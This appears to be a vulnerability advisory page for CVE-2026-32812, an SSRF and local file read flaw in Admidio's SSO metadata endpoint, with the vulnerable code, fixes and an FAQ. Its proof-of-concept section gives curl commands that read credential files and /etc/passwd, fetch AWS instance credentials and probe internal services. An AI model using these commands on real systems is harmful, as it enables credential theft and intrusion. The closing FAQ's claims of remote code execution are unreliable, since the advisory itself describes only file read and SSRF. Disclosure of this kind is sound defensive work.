CVE-2026-32812: Admidio Vulnerable to SSRF and Local File Read via Unrestricted URL Fetch in SSO Metadata Endpoint
Summary
The SSO metadata fetch endpoint at modules/sso/fetchmetadata.php accepts an arbitrary URL via $GET['url'], validates it only with PHP's FILTERVALIDATEURL, and passes it directly to filegetcontents(). FILTERVALIDATEURL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.
Details
Vulnerable Code
File: D:/bugcrowd/admidio/repo/modules/sso/fetchmetadata.php, lines 9-34
php $url = filtervar($GET['url'], FILTERVALIDATEURL); if (!$url) { httpresponsecode(400); echo "Invalid URL"; exit; }
// Fetch metadata from external server $metadata = filegetcontents($url); if ($metadata === false) { httpresponsecode(500); echo "Failed to fetch metadata"; exit; }
echo $metadata;
FILTERVALIDATEURL Does Not Block Dangerous Schemes
PHP's FILTERVALIDATEURL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by filegetcontents():
| Scheme | Impact | |--------|--------| | file:///etc/passwd | Read any local file the web server process can access | | http://127.0.0.1/ | SSRF to localhost services (databases, admin panels, internal APIs) | | http://169.254.169.254/latest/meta-data/ | AWS EC2 instance metadata (IAM credentials) | | data://text/plain,payload | Data URI content injection |
Confirmed by testing PHP's filtervar() and filegetcontents() with all of the above:
php -r "vardump(filtervar('file:///etc/passwd', FILTERVALIDATEURL));" // string(18) "file:///etc/passwd" <-- passes validation
php -r "echo filegetcontents('file:///etc/passwd');" // root:x:0:0:root:/root:/bin/bash <-- file contents returned
file:// Does Not Require allowurlfopen
PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allowurlfopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.
Response Is Returned Verbatim
The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.
PoC
Prerequisites: Administrator account session cookie and CSRF token.
Step 1: Read the Admidio database configuration file
curl -G "https://TARGET/admprogram/modules/sso/fetchmetadata.php" \ -H "Cookie: ADMIDIOSESSIONID=<adminsession>" \ --data-urlencode "url=file:///var/www/html/admmyfiles/config.php"
Expected response: Full contents of config.php including the database host, username, and password in plaintext.
Step 2: Read system password file
curl -G "https://TARGET/admprogram/modules/sso/fetchmetadata.php" \ -H "Cookie: ADMIDIOSESSIONID=<adminsession>" \ --data-urlencode "url=file:///etc/passwd"
Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)
curl -G "https://TARGET/admprogram/modules/sso/fetchmetadata.php" \ -H "Cookie: ADMIDIOSESSIONID=<adminsession>" \ --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Expected response: IAM role name followed by temporary AWS access key and secret.
Step 4: SSRF to an internal service on localhost
curl -G "https://TARGET/admprogram/modules/sso/fetchmetadata.php" \ -H "Cookie: ADMIDIOSESSIONID=<adminsession>" \ --data-urlencode "url=http://127.0.0.1:6379/"
(Probes a Redis instance on localhost.)
Impact
- Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's config.php (database credentials), /etc/passwd, private keys stored in the web root, and .env files. - Database Credential Theft: Reading config.php exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls. - Cloud Metadata Exposure: On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access. - Internal Network Reconnaissance: The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible. - Scope Change: Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.
Recommended Fix
Fix 1: Restrict to HTTPS scheme and block internal IP ranges
php $rawUrl = $GET['url'] ?? '';
// Only allow https:// scheme if (\!pregmatch('#^https://#i', $rawUrl)) { httpresponsecode(400); echo "Only HTTPS URLs are permitted"; exit; }
$url = filtervar($rawUrl, FILTERVALIDATEURL); if (\!$url) { httpresponsecode(400); echo "Invalid URL"; exit; }
// Resolve hostname and block internal/private IP ranges $host = parseurl($url, PHPURLHOST); $ip = gethostbyname($host); if (filtervar($ip, FILTERVALIDATEIP, FILTERFLAGNOPRIVRANGE | FILTERFLAGNORESRANGE) === false) { httpresponsecode(400); echo "URL resolves to a private or reserved IP address"; exit; }
$metadata = filegetcontents($url);
Fix 2: Use cURL with explicit scheme restriction
php $ch = curlinit($url); curlsetopt($ch, CURLOPTRETURNTRANSFER, true); curlsetopt($ch, CURLOPTPROTOCOLS, CURLPROTOHTTPS); curlsetopt($ch, CURLOPTREDIRPROTOCOLS, CURLPROTOHTTPS); curlsetopt($ch, CURLOPTFOLLOWLOCATION, false); curlsetopt($ch, CURLOPTTIMEOUT, 10); $metadata = curlexec($ch); curlclose($ch);
Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.
Other sources
Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, unrestricted URL fetch in the SSO Metadata API can result in SSRF and local file reads. The SSO Metadata fetch endpoint at modules/sso/fetchmetadata.php accepts an arbitrary URL via $GET['url'], validates it only with PHP's FILTERVALIDATEURL, and passes it directly to filegetcontents(). FILTERVALIDATEURL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller. This issue has been fixed in version 5.0.7.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-32812?
CVE-2026-32812 is classified as a critical vulnerability due to its potential for remote code execution through arbitrary URL fetching.
How do I fix CVE-2026-32812?
To fix CVE-2026-32812, upgrade to Admidio version 5.0.7 or later where the issue has been patched.
What systems are affected by CVE-2026-32812?
CVE-2026-32812 affects Admidio versions from 5.0.0 to 5.0.6.
What kind of attacks can exploit CVE-2026-32812?
CVE-2026-32812 can be exploited by an attacker to perform remote code execution through the SSO metadata fetch endpoint.
Is there a workaround for CVE-2026-32812?
Currently, the best practice is to update to the latest version, as there are no known effective workarounds for CVE-2026-32812.